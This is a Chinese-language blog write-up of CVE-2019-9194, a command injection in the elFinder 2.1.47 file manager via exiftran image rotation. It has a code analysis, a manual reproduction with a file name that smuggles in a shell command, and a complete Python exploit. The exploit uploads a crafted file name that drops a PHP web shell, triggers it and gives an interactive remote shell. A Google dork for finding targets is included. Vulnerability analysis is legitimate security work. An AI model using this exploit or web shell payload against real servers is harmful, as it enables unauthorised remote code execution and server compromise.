关于elFinder
elFilnder是一个开源的web的文件管理器,其界面和mac系统的finder差不多,用php开发,最近这个web app曝出了一个命令注入漏洞编号是CVE-2019-9194。现在将原有的2.1.47版本下载下来分析并复现一下这个漏洞。
环境搭建
没有数据库,直接git上可以下载,我用的kail+php,同时,系统上还需要安装一个exiftran,用于图片转换,漏洞的核心也在这里。
代码分析
从如下网址可以看到代码的比对
https://github.com/Studio-42/elFinder/compare/2.1.47...2.1
定位到漏洞的代码 :
可以清楚地看到到对文件
`elFinderVolumeDriver.class.php
的修改比较有趣
到文件中分析一番:
新的代码是把原来的
$path
变量弃用了,我们首先跟进函数看对这个
$path
进行了哪些处理:
if($this->procExec(ELFINDER_EXIFTRAN_PATH . ' -h') === 0) {
$cmds[] = ELFINDER_EXIFTRAN_PATH . ' -i ' . $exiftran[$count] . ' ' . $path;
}
函数的定义如下:
protected function procExec($command, &$output = '', &$return_var = -1, &$error_output = '')
所以$path
变量最终是与之前的字符串拼接成$command
变量进入procExec
函数跟进函数:
protected function procExec($command, &$output = '', &$return_var = -1, &$error_output = ''){
.....
$process = proc_open($command, $descriptorspec, $pipes, null, null);
......
}
有一个命令执行函数proc_open
关于proc_open
可以自行百度
以上分析可以确定如果变量可控,则可以进行命令执行,下面分析如何进行控制变量:
在elfinder.class.php
,中有如下的定义
!defined('ELFINDER_EXIFTRAN_PATH')&&define('ELFINDER_EXIFTRAN_PATH', 'exiftran');
所以这个漏洞的成立条件是目标主机安装了exiftran
然后回溯一下变量的调用方式:$path
变量出现在imgRotate()
函数中。
全局搜索:其调用顺序是imgRotate()
resize()
是在调整大小的时候发生调用的,可以控制的变量是:hash
->path
就是文件上传之后的文件名。最终执行命令的时候,执行的命令如下:
exiftran -i -9 test.jpeg
按照国外友人的分析:
如果我们传入的文件名称是:
test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg
以上的命令会在相应的目录下产生一个pwned的文件。
以上就是命令执行的大致过程。
至于参数的传递的方式,各位看官自行寻找。
漏洞复现
搭建好环境之后
直接上传一个图片:
文件名为1.jpeg
如图
然后修改文件名称为:
test.jpeg; touch $(echo -n 2e2e2f66696c65732f70776e6564| xxd -p -r);echo rce.jpeg
如图
然后右键旋转图像选择90度,点击运用,发现文件下产生了pwned的文件:
POC
根据以上分析,模拟一个图片上传的过程:
写出如下POC
#!/usr/bin/python
'''
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# Date: 26/02/2019
# Exploit Author: @q3rv0
# Vulnerability reported by: Thomas Chauchefoin
# Google Dork: intitle:"elFinder 2.1.x"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
# Version: <= 2.1.47
# Tested on: Linux 64bit + Python2.7
# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
# CVE: CVE-2019-9194
# Usage: python exploit.py [URL]
'''
import requests
import json
import sys
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
if len(sys.argv) != 2:
print "Usage: python exploit.py [URL]"
sys.exit(0)
def upload(url, payload):
files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1552665721"}
r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
j = json.loads(r.text)
return j['added'][0]['hash']
def imgRotate(url, hash):
r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))
return r.text
def shell(url):
r = requests.get("%s/php/SecSignal.php" % url)
if r.status_code == 200:
print "[+] Pwned! :)"
print "[+] Getting the shell..."
while 1:
try:
input = raw_input("$ ")
r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
print r.text
except KeyboardInterrupt:
sys.exit("\nBye kaker!")
else:
print "[*] The site seems not to be vulnerable :("
def main():
usage()
url = sys.argv[1]
print "[*] Uploading the malicious image..."
hash = upload(url, payload)
print "[*] Running the payload..."
imgRotate(url, hash)
shell(url)
if __name__ == "__main__":
main()
运行结果如图所示: